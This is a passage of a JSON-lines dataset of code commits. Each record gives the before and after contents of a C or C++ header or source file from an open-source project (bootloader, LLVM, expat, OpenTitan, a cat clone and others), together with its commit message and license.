{"commit":"dbfcaec50408d9b12ffb459011f9af1c7304ec84","old_file":"flash_writer.h","new_file":"flash_writer.h","old_contents":"#ifndef FLASH_WRITER_H\n#define FLASH_WRITER_H\n\n#include <stdint.h>\n#include <stddef.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/** Unlocks the flash for programming. *\/\nvoid flash_writer_unlock(void);\n\n\/** Locks the flash *\/\nvoid flash_writer_lock(void);\n\n\/** Erases the flash page at given address. *\/\nvoid flash_writer_page_erase(void *page);\n\n\/** Writes data to given location in flash. *\/\nvoid flash_writer_page_write(void *page, uint8_t *data, size_t len);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* FLASH_WRITER_H *\/\n","new_contents":"#ifndef FLASH_WRITER_H\n#define FLASH_WRITER_H\n\n#include <stdint.h>\n#include <stddef.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/** Unlocks the flash for programming. *\/\nvoid flash_writer_unlock(void);\n\n\/** Locks the flash *\/\nvoid flash_writer_lock(void);\n\n\/** Erases the flash page at given address. *\/\nvoid flash_writer_page_erase(void *page);\n\n\/** Writes data to given location in flash. *\/\nvoid flash_writer_page_write(void *page, void *data, size_t len);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* FLASH_WRITER_H *\/\n","subject":"Convert data source adress type to void *","message":"Convert data source adress type to void *\n\nThis should be the standard, as done for example in memcpy(3).\n","lang":"C","license":"bsd-2-clause","repos":"cvra\/can-bootloader,cvra\/can-bootloader,cvra\/can-bootloader,cvra\/can-bootloader"}
{"commit":"4571ac8b500390e3b70370369386d9cec35ea536","old_file":"riegeli\/base\/errno_mapping.h","new_file":"riegeli\/base\/errno_mapping.h","old_contents":"\/\/ Copyright 2018 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef RIEGELI_BASE_STR_ERROR_H_\n#define RIEGELI_BASE_STR_ERROR_H_\n\n#include \"absl\/strings\/string_view.h\"\n#include \"riegeli\/base\/status.h\"\n\nnamespace riegeli {\n\n\/\/ Converts errno value to Status.\nStatus ErrnoToCanonicalStatus(int error_number, absl::string_view message);\n\n}  \/\/ namespace riegeli\n\n#endif  \/\/ RIEGELI_BASE_STR_ERROR_H_\n","new_contents":"\/\/ Copyright 2018 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef RIEGELI_BASE_ERRNO_MAPPING_H_\n#define RIEGELI_BASE_ERRNO_MAPPING_H_\n\n#include \"absl\/strings\/string_view.h\"\n#include \"riegeli\/base\/status.h\"\n\nnamespace riegeli {\n\n\/\/ Converts errno value to Status.\nStatus ErrnoToCanonicalStatus(int error_number, absl::string_view message);\n\n}  \/\/ namespace riegeli\n\n#endif  \/\/ RIEGELI_BASE_ERRNO_MAPPING_H_\n","subject":"Fix include guard to match the current filename.","message":"Fix include guard to match the current filename.\n\nPiperOrigin-RevId: 256006893\n","lang":"C","license":"apache-2.0","repos":"google\/riegeli,google\/riegeli,google\/riegeli,google\/riegeli"}
{"commit":"fbfc30dffdc5f4a5e9d04f070dcbe8344f3a1c94","old_file":"tests\/chardata.h","new_file":"tests\/chardata.h","old_contents":"\/*  chardata.h\n *\n *\n *\/\n\n#ifndef XML_CHARDATA_H\n#define XML_CHARDATA_H 1\n\n#ifndef XML_VERSION\n#include \"expat.h\"                      \/* need XML_Char *\/\n#endif\n\n\ntypedef struct {\n    int count;                          \/* # of chars, < 0 if not set *\/\n    XML_Char data[1024];\n} CharData;\n\n\nvoid CharData_Init(CharData *storage);\n\nvoid CharData_AppendString(CharData *storage, const char *s);\n\nvoid CharData_AppendXMLChars(CharData *storage, const XML_Char *s, int len);\n\nint CharData_CheckString(CharData *storage, const char *s);\n\nint CharData_CheckXMLChars(CharData *storage, const XML_Char *s);\n\n\n#endif  \/* XML_CHARDATA_H *\/\n","new_contents":"\/* chardata.h\n\n   Interface to some helper routines used to accumulate and check text\n   and attribute content.\n*\/\n\n#ifndef XML_CHARDATA_H\n#define XML_CHARDATA_H 1\n\n#ifndef XML_VERSION\n#include \"expat.h\"                      \/* need XML_Char *\/\n#endif\n\n\ntypedef struct {\n    int count;                          \/* # of chars, < 0 if not set *\/\n    XML_Char data[1024];\n} CharData;\n\n\nvoid CharData_Init(CharData *storage);\n\nvoid CharData_AppendString(CharData *storage, const char *s);\n\nvoid CharData_AppendXMLChars(CharData *storage, const XML_Char *s, int len);\n\nint CharData_CheckString(CharData *storage, const char *s);\n\nint CharData_CheckXMLChars(CharData *storage, const XML_Char *s);\n\n\n#endif  \/* XML_CHARDATA_H *\/\n","subject":"Add a small comment to tell what this is.","message":"Add a small comment to tell what this is.\n","lang":"C","license":"mit","repos":"PKRoma\/expat,PKRoma\/expat,PKRoma\/expat,PKRoma\/expat"}
{"commit":"4a1156e7ed3598903fd6643535259a1d92df2736","old_file":"sw\/device\/lib\/dif\/dif_edn.c","new_file":"sw\/device\/lib\/dif\/dif_edn.c","old_contents":"\/\/ Copyright lowRISC contributors.\n\/\/ Licensed under the Apache License, Version 2.0, see LICENSE for details.\n\/\/ SPDX-License-Identifier: Apache-2.0\n\n#include \"sw\/device\/lib\/dif\/dif_edn.h\"\n\n#include \"edn_regs.h\"  \/\/ Generated\n","new_contents":"\/\/ Copyright lowRISC contributors.\n\/\/ Licensed under the Apache License, Version 2.0, see LICENSE for details.\n\/\/ SPDX-License-Identifier: Apache-2.0\n\n#include \"sw\/device\/lib\/dif\/dif_edn.h\"\n\n#include \"edn_regs.h\"  \/\/ Generated\n\ndif_result_t dif_edn_init(mmio_region_t base_addr, dif_edn_t *edn) {\n  if (edn == NULL) {\n    return kDifBadArg;\n  }\n\n  edn->base_addr = base_addr;\n\n  return kDifOk;\n}\n","subject":"Add init DIF for EDN","message":"[sw\/dif\/edn] Add init DIF for EDN\n\nThis enables EDN irqs to be tested with the automated irq test.\n\nSigned-off-by: Srikrishna Iyer <2803d640feace36379942447842f26c7747b4dc3@google.com>\n","lang":"C","license":"apache-2.0","repos":"lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan"}
{"commit":"8dc392689d59ecdbca61cfae23c065279e731db8","old_file":"test\/test_parser_optional.c","new_file":"test\/test_parser_optional.c","old_contents":"#include \"test_parser_p.h\"\n\nvoid optional_some(void **state) {\n  grammar_t *grammar = grammar_init(\n    non_terminal(\"Option\"),\n    rule_init(\n      \"Option\",\n      optional(\n        terminal(\"opt\")\n      )\n    ), 1\n  );\n\n  parse_t *result = parse(\"opt\", grammar);\n  assert_non_null(result);\n  assert_int_equal(result->length, 3);\n  assert_int_equal(result->n_children, 1);\n}\n\nvoid optional_none(void **state) {\n  grammar_t *grammar = grammar_init(\n    non_terminal(\"Option\"),\n    rule_init(\n      \"Option\",\n      optional(\n        terminal(\"opt\")\n      )\n    ), 1\n  );\n\n  parse_t *result = parse(\"nope\", grammar);\n  assert_non_null(result);\n  assert_int_equal(result->length, 0);\n  assert_int_equal(result->n_children, 0);\n}\n","new_contents":"#include \"test_parser_p.h\"\n\nvoid optional_some(void **state) {\n  grammar_t *grammar = grammar_init(\n    non_terminal(\"Option\"),\n    rule_init(\n      \"Option\",\n      optional(\n        terminal(\"opt\")\n      )\n    ), 1\n  );\n\n  parse_result_t *result = parse(\"opt\", grammar);\n  assert_non_null(result);\n  assert_true(is_success(result));\n\n  parse_t *suc = result->data.result;\n  assert_int_equal(suc->length, 3);\n  assert_int_equal(suc->n_children, 1);\n}\n\nvoid optional_none(void **state) {\n  grammar_t *grammar = grammar_init(\n    non_terminal(\"Option\"),\n    rule_init(\n      \"Option\",\n      optional(\n        terminal(\"opt\")\n      )\n    ), 1\n  );\n\n  parse_result_t *result = parse(\"nope\", grammar);\n  assert_non_null(result);\n  assert_true(is_success(result));\n\n  parse_t *suc = result->data.result;\n  assert_int_equal(suc->length, 0);\n  assert_int_equal(suc->n_children, 0);\n}\n","subject":"Use new API in optional tests","message":"Use new API in optional tests\n","lang":"C","license":"mit","repos":"Baltoli\/peggo,Baltoli\/peggo"}
{"commit":"b92ab7b2546d69c8ea887c21a148bad82370b47a","old_file":"test\/profile\/Inputs\/instrprof-merge-match-lib.c","new_file":"test\/profile\/Inputs\/instrprof-merge-match-lib.c","old_contents":"#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint __llvm_profile_runtime = 0;\nuint64_t __llvm_profile_get_size_for_buffer(void);\nint __llvm_profile_write_buffer(char *);\nvoid __llvm_profile_reset_counters(void);\nint __llvm_profile_check_compatibility(const char *, uint64_t);\n\nint gg = 0;\nvoid bar(char c) {\n  if (c == '1')\n    gg++;\n  else\n    gg--;\n}\n\n\/* Returns 0 (size) when an error occurs. *\/\nuint64_t libEntry(char *Buffer, uint64_t MaxSize) {\n\n  uint64_t Size = __llvm_profile_get_size_for_buffer();\n  if (Size > MaxSize)\n    return 1;\n\n  __llvm_profile_reset_counters();\n\n  bar('1');\n\n  if (__llvm_profile_write_buffer(Buffer))\n    return 0;\n\n  \/* Now check compatibility. Should return 0.  *\/\n  if (__llvm_profile_check_compatibility(Buffer, Size))\n    return 0;\n\n  return Size;\n}\n\n","new_contents":"#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint __llvm_profile_runtime = 0;\nuint64_t __llvm_profile_get_size_for_buffer(void);\nint __llvm_profile_write_buffer(char *);\nvoid __llvm_profile_reset_counters(void);\nint __llvm_profile_check_compatibility(const char *, uint64_t);\n\nint gg = 0;\nvoid bar(char c) {\n  if (c == '1')\n    gg++;\n  else\n    gg--;\n}\n\n\/* Returns 0 (size) when an error occurs. *\/\nuint64_t libEntry(char *Buffer, uint64_t MaxSize) {\n\n  uint64_t Size = __llvm_profile_get_size_for_buffer();\n  if (Size > MaxSize)\n    return 0;\n\n  __llvm_profile_reset_counters();\n\n  bar('1');\n\n  if (__llvm_profile_write_buffer(Buffer))\n    return 0;\n\n  \/* Now check compatibility. Should return 0.  *\/\n  if (__llvm_profile_check_compatibility(Buffer, Size))\n    return 0;\n\n  return Size;\n}\n\n","subject":"Fix a minor bug in test","message":"Fix a minor bug in test\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@263028 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"ca419f6d8ae07ef1b83834f9d5d726fed74c2a44","old_file":"bgc\/DIC_ATMOS.h","new_file":"bgc\/DIC_ATMOS.h","old_contents":"C $Header: \/u\/gcmpack\/MITgcm\/pkg\/dic\/DIC_ATMOS.h,v 1.4 2010\/04\/11 20:59:27 jmc Exp $\nC $Name:  $\n\n       COMMON \/INTERACT_ATMOS_NEEDS\/\n     &              co2atmos,\n     &              total_atmos_carbon, total_ocean_carbon,\n     &              total_atmos_carbon_year,\n     &              total_ocean_carbon_year,\n     &              total_atmos_carbon_start,\n     &              total_ocean_carbon_start,\n     &              atpco2\n\n       _RL co2atmos(1000)\n       _RL total_atmos_carbon\n       _RL total_ocean_carbon\n       _RL total_atmos_carbon_year\n       _RL total_atmos_carbon_start\n       _RL total_ocean_carbon_year\n       _RL total_ocean_carbon_start\n       _RL atpco2\n","new_contents":"C $Header: \/u\/gcmpack\/MITgcm\/pkg\/dic\/DIC_ATMOS.h,v 1.4 2010\/04\/11 20:59:27 jmc Exp $\nC $Name:  $\n\n       COMMON \/INTERACT_ATMOS_NEEDS\/\n     &              co2atmos,\n     &              total_atmos_carbon, total_ocean_carbon,\n     &              total_atmos_carbon_year,\n     &              total_ocean_carbon_year,\n     &              total_atmos_carbon_start,\n     &              total_ocean_carbon_start,\n     &              atpco2,total_atmos_moles\n\n       _RL co2atmos(1000)\n       _RL total_atmos_carbon\n       _RL total_ocean_carbon\n       _RL total_atmos_carbon_year\n       _RL total_atmos_carbon_start\n       _RL total_ocean_carbon_year\n       _RL total_ocean_carbon_start\n       _RL atpco2\n       _RL total_atmos_moles\n","subject":"Add ability to specify CO2 emissions (dic_int1=4)","message":"Add ability to specify CO2 emissions (dic_int1=4)\n","lang":"C","license":"mit","repos":"seamanticscience\/mitgcm_mods,seamanticscience\/mitgcm_mods"}
{"commit":"36c74125fadf0c57ab44933fbe053a54af64bcff","old_file":"tests\/simple\/test-wrapped.c","new_file":"tests\/simple\/test-wrapped.c","old_contents":"","new_contents":"\/\/ RUN: %crabllvm -O0 --crab-dom=w-int --crab-check=assert \"%s\" 2>&1 | OutputCheck %s\n\/\/ CHECK: ^1  Number of total safe checks$\n\/\/ CHECK: ^0  Number of total error checks$\n\/\/ CHECK: ^0  Number of total warning checks$\n\nextern int nd(void);\nextern void process(char);\nextern void __CRAB_assert(int);\n\nint main() {\n  char x,y;\n  \n  y=-10;\n  if(nd()) x=0;\n  else  x=100;\n  while (x >= y){   \n    x = x-y;        \n  }                 \n  __CRAB_assert(x >= -128 && x <= -119); \n  return 0;\n}\n","subject":"Add a test for the wrapped interval domain","message":"Add a test for the wrapped interval domain\n","lang":"C","license":"apache-2.0","repos":"seahorn\/crab-llvm,seahorn\/crab-llvm,seahorn\/crab-llvm"}
{"commit":"45f929a417328c3dc5703ca6b7827eacc655c807","old_file":"tests\/test_mix\/source\/computer_listener_mock.h","new_file":"tests\/test_mix\/source\/computer_listener_mock.h","old_contents":"#pragma once\r\n#include <mix\/computer_listener.h>\r\n\r\n#include <gmock\/gmock.h>\r\n\r\nstruct ComputerListenerMock :\r\n\tpublic mix::IComputerListener\r\n{\r\n\tMOCK_METHOD1(on_memory_set, void (int));\r\n\tMOCK_METHOD0(on_ra_set, void ());\r\n\tMOCK_METHOD0(on_rx_set, void ());\r\n\tMOCK_METHOD1(on_ri_set, void (std::size_t));\r\n\tMOCK_METHOD0(on_overflow_flag_set, void ());\r\n};\r\n\r\n","new_contents":"#pragma once\r\n#include <mix\/computer_listener.h>\r\n\r\n#include <gmock\/gmock.h>\r\n\r\nstruct ComputerListenerMock :\r\n\tpublic mix::IComputerListener\r\n{\r\n\tMOCK_METHOD1(on_memory_set, void (int));\r\n\tMOCK_METHOD0(on_ra_set, void ());\r\n\tMOCK_METHOD0(on_rx_set, void ());\r\n\tMOCK_METHOD1(on_ri_set, void (std::size_t));\r\n\tMOCK_METHOD0(on_overflow_flag_set, void ());\r\n\tMOCK_METHOD0(on_comparison_state_set, void ());\r\n};\r\n\r\n","subject":"Add missed on_comparison_state_set() function to ComputerListenerMock","message":"Add missed on_comparison_state_set() function to ComputerListenerMock\n","lang":"C","license":"mit","repos":"grishavanika\/mix,grishavanika\/mix,grishavanika\/mix"}
{"commit":"78d215b76d0eddc622f5dd1a4c26f3637bc3ab07","old_file":"include\/llvm\/Bytecode\/Writer.h","new_file":"include\/llvm\/Bytecode\/Writer.h","old_contents":"\/\/===-- llvm\/Bytecode\/Writer.h - Writer for VM bytecode files ---*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This functionality is implemented by the lib\/BytecodeWriter library.\n\/\/ This library is used to write VM bytecode files to an iostream.  First, you\n\/\/ have to make a BytecodeStream object, which you can then put a class into\n\/\/ by using operator <<.\n\/\/\n\/\/ This library uses the Analysis library to figure out offsets for\n\/\/ variables in the method tables...\n\/\/\n\/\/ Note that performance of this library is not as crucial as performance of the\n\/\/ bytecode reader (which is to be used in JIT type applications), so we have\n\/\/ designed the bytecode format to support quick reading.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_BYTECODE_WRITER_H\n#define LLVM_BYTECODE_WRITER_H\n\n#include <iosfwd>\n\nnamespace llvm {\n  class Module;\n  void WriteBytecodeToFile(const Module *M, std::ostream &Out, \n                           bool compress = false);\n} \/\/ End llvm namespace\n\n#endif\n","new_contents":"\/\/===-- llvm\/Bytecode\/Writer.h - Writer for VM bytecode files ---*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This functionality is implemented by the lib\/BytecodeWriter library.\n\/\/ This library is used to write VM bytecode files to an iostream.  First, you\n\/\/ have to make a BytecodeStream object, which you can then put a class into\n\/\/ by using operator <<.\n\/\/\n\/\/ This library uses the Analysis library to figure out offsets for\n\/\/ variables in the method tables...\n\/\/\n\/\/ Note that performance of this library is not as crucial as performance of the\n\/\/ bytecode reader (which is to be used in JIT type applications), so we have\n\/\/ designed the bytecode format to support quick reading.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_BYTECODE_WRITER_H\n#define LLVM_BYTECODE_WRITER_H\n\n#include <iosfwd>\n\nnamespace llvm {\n  class Module;\n  void WriteBytecodeToFile(const Module *M, std::ostream &Out, \n                           bool compress = true);\n} \/\/ End llvm namespace\n\n#endif\n","subject":"Make compression the default on writing.","message":"Make compression the default on writing.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@17577 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm"}
{"commit":"cb832699e29447fe66594fb122a1bdddd3539c42","old_file":"src\/augs\/readwrite\/lua_readwrite_declaration.h","new_file":"src\/augs\/readwrite\/lua_readwrite_declaration.h","old_contents":"#pragma once\n#include \"3rdparty\/sol2\/sol\/forward.hpp\"\n\nnamespace augs {\n\ttemplate <class Archive, class Serialized>\n\tvoid write_lua(Archive&, const Serialized& from);\n\n\ttemplate <class Archive, class Serialized>\n\tvoid read_lua(const Archive&, Serialized& into);\n\n\ttemplate <class Archive, class Serialized>\n\tvoid write_lua_no_overload(Archive&, const Serialized& from);\n\n\ttemplate <class Archive, class Serialized>\n\tvoid read_lua_no_overload(const Archive&, Serialized& into);\n\n\ttemplate <class T, class K>\n\tvoid write_table_or_field(sol::table& output_table, const T& from, K&& key);\n\n\ttemplate <class T>\n\tvoid general_from_lua_value(const sol::object& object, T& into);\n}","new_contents":"#pragma once\n#include <sol\/forward.hpp>\n\nnamespace augs {\n\ttemplate <class Archive, class Serialized>\n\tvoid write_lua(Archive&, const Serialized& from);\n\n\ttemplate <class Archive, class Serialized>\n\tvoid read_lua(const Archive&, Serialized& into);\n\n\ttemplate <class Archive, class Serialized>\n\tvoid write_lua_no_overload(Archive&, const Serialized& from);\n\n\ttemplate <class Archive, class Serialized>\n\tvoid read_lua_no_overload(const Archive&, Serialized& into);\n\n\ttemplate <class T, class K>\n\tvoid write_table_or_field(sol::table& output_table, const T& from, K&& key);\n\n\ttemplate <class T>\n\tvoid general_from_lua_value(const sol::object& object, T& into);\n}\n","subject":"Fix another broken sol include","message":"Fix another broken sol include\n","lang":"C","license":"agpl-3.0","repos":"TeamHypersomnia\/Hypersomnia,TeamHypersomnia\/Hypersomnia,TeamHypersomnia\/Augmentations,TeamHypersomnia\/Hypersomnia,TeamHypersomnia\/Hypersomnia,TeamHypersomnia\/Hypersomnia,TeamHypersomnia\/Augmentations"}
{"commit":"1f38f2566e6a8b2c7399af25da44104cbc55cdbb","old_file":"unlock\/legacy\/device-wrappers\/pymotiv\/pymotiv.h","new_file":"unlock\/legacy\/device-wrappers\/pymotiv\/pymotiv.h","old_contents":"#ifndef PYPOC_H\n#define PYPOC_H\n\n#include <Windows.h>\n#include \"EmoStateDLL.h\"\n#include \"edk.h\"\n#include \"edkErrorCode.h\"\n\nclass EPOC {\nprivate:\n\tEmoEngineEventHandle eEvent;\n\tEmoStateHandle eState;\n\tDataHandle hData;\n\tint nChannels;\n\tEE_DataChannel_t *channels;\n\tunsigned int userId;\n\tdouble *samples;\n\tBOOL ready;\n\tBOOL closed;\npublic:\n\tEPOC();\n\t~EPOC();\n\tBOOL open();\n\tBOOL init(const int);\n\tBOOL start();\n\tBOOL acquire();\n\tvoid getdata(int *data, int n);\n\tBOOL stop();\n\tBOOL close();\n};\n\n\n#endif","new_contents":"#ifndef PYPOC_H\n#define PYPOC_H\n\n#include <Windows.h>\n#include \"EmoStateDLL.hpp\"\n#include \"edk.hpp\"\n#include \"edkErrorCode.hpp\"\n\nclass EPOC {\nprivate:\n\tEmoEngineEventHandle eEvent;\n\tEmoStateHandle eState;\n\tDataHandle hData;\n\tint nChannels;\n\tEE_DataChannel_t *channels;\n\tunsigned int userId;\n\tdouble *samples;\n\tBOOL ready;\n\tBOOL closed;\npublic:\n\tEPOC();\n\t~EPOC();\n\tBOOL open();\n\tBOOL init(const int);\n\tBOOL start();\n\tBOOL acquire();\n\tvoid getdata(int *data, int n);\n\tBOOL stop();\n\tBOOL close();\n};\n\n\n#endif\n","subject":"Make legacy header reference old code.","message":"Make legacy header reference old code.\n","lang":"C","license":"bsd-3-clause","repos":"NeuralProsthesisLab\/unlock,NeuralProsthesisLab\/unlock,NeuralProsthesisLab\/unlock,NeuralProsthesisLab\/unlock,NeuralProsthesisLab\/unlock,NeuralProsthesisLab\/unlock,NeuralProsthesisLab\/unlock"}
{"commit":"f74dc6b045f695c013a4bd49df7411691d5c86f7","old_file":"cvrp\/customer.h","new_file":"cvrp\/customer.h","old_contents":"#ifndef VRPSOLVER_CUSTOMER_H\n#define VRPSOLVER_CUSTOMER_H\n\nnamespace VrpSolver {\n\n    class Customer {\n    public:\n        Customer(unsigned int id, unsigned int demand)\n            : id_(id), demand_(demand) {}\n\n        unsigned int id() const {\n            return id_;\n        }\n\n        unsigned int demand() const {\n            return demand_;\n        }\n\n    private:\n        Customer();\n        unsigned int id_;\n        unsigned int demand_;\n    };\n\n} \/\/ namespace VrpSolver\n\n#endif \/\/ VRPSOLVER_CUSTOMER_H\n","new_contents":"#ifndef VRPSOLVER_CUSTOMER_H\n#define VRPSOLVER_CUSTOMER_H\n\nnamespace VrpSolver {\n\n    class Customer {\n    public:\n        Customer(unsigned int id, std::size_t demand)\n            : id_(id), demand_(demand) {}\n\n        unsigned int id() const {\n            return id_;\n        }\n\n        std::size_t demand() const {\n            return demand_;\n        }\n\n    private:\n        Customer();\n        unsigned int id_;\n        std::size_t demand_;\n    };\n\n} \/\/ namespace VrpSolver\n\n#endif \/\/ VRPSOLVER_CUSTOMER_H\n","subject":"Change the type of Customer::demand to std::size_t","message":"Change the type of Customer::demand to std::size_t\n","lang":"C","license":"mit","repos":"U-MA\/cvrp,U-MA\/cvrp"}
{"commit":"ade98d9f3a27765d33b2464a3ab76ba36217834b","old_file":"dependencies\/stdafx\/stdafx.h","new_file":"dependencies\/stdafx\/stdafx.h","old_contents":"#include <Ogre.h>\n#include <OgreMeshFileFormat.h>\n#include <OgreOptimisedUtil.h>\n\n\n#ifdef WIN32\n#include <OgreD3D9RenderSystem.h>\n#include <OgreD3D9HLSLProgram.h>\n#endif\n\n#include <OgreGLRenderSystem.h>\n#include <OgreGLGpuProgram.h>\n#include <OgreGLSLGpuProgram.h>\n#include <OgreGLSLLinkProgramManager.h>\n#include <OgreGLSLProgram.h>\n\n\n#include <OgreOctreePlugin.h>\n#include <OgreOctreeSceneManager.h>\n\n#include <OgreCgPlugin.h>\n#include <OgreCgProgram.h>\n\n","new_contents":"#include <Ogre.h>\n#include <OgreMeshFileFormat.h>\n#include <OgreOptimisedUtil.h>\n#include <OgrePredefinedControllers.h>\n\n#ifdef WIN32\n#include <OgreD3D9RenderSystem.h>\n#include <OgreD3D9HLSLProgram.h>\n#endif\n\n#include <OgreGLRenderSystem.h>\n#include <OgreGLGpuProgram.h>\n#include <OgreGLSLGpuProgram.h>\n#include <OgreGLSLLinkProgramManager.h>\n#include <OgreGLSLProgram.h>\n\n\n#include <OgreOctreePlugin.h>\n#include <OgreOctreeSceneManager.h>\n\n#include <OgreCgPlugin.h>\n#include <OgreCgProgram.h>\n\n","subject":"Add header for FrameController to pch","message":"Add header for FrameController to pch\n","lang":"C","license":"mit","repos":"sparkprime\/grit-engine,grit-engine\/grit-engine,grit-engine\/grit-engine,sparkprime\/grit-engine,sparkprime\/grit-engine,sparkprime\/grit-engine,grit-engine\/grit-engine,grit-engine\/grit-engine"}
{"commit":"3918e7b3451b9fdadfbf1f40e5df6e60dcfa3abf","old_file":"cat.c","new_file":"cat.c","old_contents":"#include <sys\/types.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <fcntl.h>\n\n\/* a re-implementation of cat(1), to learn the basic Unix syscalls.\n  by tlehman at 1383415046 \n*\/\n\nvoid usage(const char *progname) {\n    printf(\"%s filename\\n\", progname);\n    exit(EXIT_FAILURE);\n}\n\nvoid print_file_contents(const char *filename) {\n    int fd;\n    ssize_t b;\n    char buf[BUFSIZ];\n\n    fd = open(filename, O_RDONLY);\n\n    while ( (b = read(fd, buf, BUFSIZ)) != 0 ) {\n        write(STDOUT_FILENO, buf, b);\n    }\n\n    close(fd);\n}\n\nint main(int argc, char const *argv[]) {\n    int i;\n\n    if (argc > 1) {\n        for(i = 1; i < argc; i++) {\n            print_file_contents(argv[i]);\n        }\n    } else {\n      usage(argv[0]);\n    }\n    return 0;\n}\n\n","new_contents":"#include <sys\/types.h>\n#include <sys\/select.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <fcntl.h>\n\n\/* a re-implementation of cat(1), to learn the basic Unix syscalls.\n  by tlehman at 1383415046 \n*\/\n\nvoid usage(const char *progname) {\n    printf(\"%s filename\\n\", progname);\n    exit(EXIT_FAILURE);\n}\n\nvoid print_file_contents(int fd) {\n    ssize_t b;\n    char buf[BUFSIZ];\n\n    while ( (b = read(fd, buf, BUFSIZ)) != 0 ) {\n        write(STDOUT_FILENO, buf, b);\n    }\n}\n\nint stdin_non_empty() {\n    fd_set fds;\n    FD_SET(STDIN_FILENO, &fds);\n    return select(1, &fds, NULL, NULL, NULL);\n}\n\nint main(int argc, char const *argv[]) {\n    int i;\n    int fd;\n\n    if (argc > 1) {\n        for(i = 1; i < argc; i++) {\n            fd = open(argv[i], O_RDONLY);\n            print_file_contents(fd);\n            close(fd);\n        }\n    } else if (stdin_non_empty()) {\n        print_file_contents(STDIN_FILENO);\n    } else {\n      usage(argv[0]);\n    }\n    return 0;\n}\n\n","subject":"Read from STDIN when no filename is given","message":"Read from STDIN when no filename is given\n","lang":"C","license":"unlicense","repos":"tlehman\/unix_utils"}
{"commit":"3c6ffceade64f6eda28642cfcd61019a03938572","old_file":"chrome\/browser\/spellchecker\/word_trimmer.h","new_file":"chrome\/browser\/spellchecker\/word_trimmer.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_SPELLCHECKER_WORD_TRIMMER_H_\n#define CHROME_BROWSER_SPELLCHECKER_WORD_TRIMMER_H_\n\n#include \"base\/i18n\/base_i18n_export.h\"\n#include \"base\/string16.h\"\n\n\/\/ Trims |text| to contain only the range from |start| to |end| and |keep| words\n\/\/ on either side of the range. The |start| and |end| parameters are character\n\/\/ indexes into |text|. The |keep| parameter is the number of words to keep on\n\/\/ either side of the |start|-|end| range. The function updates |start| in\n\/\/ accordance with the trimming.\n\/\/\n\/\/ Example:\n\/\/\n\/\/  size_t start = 14;\n\/\/  size_t end = 23;\n\/\/  string16 text = ASCIIToUTF16(\"one two three four five six seven eight\");\n\/\/  int keep = 2;\n\/\/  string16 trimmed = TrimWords(&start, end, text, keep);\n\/\/  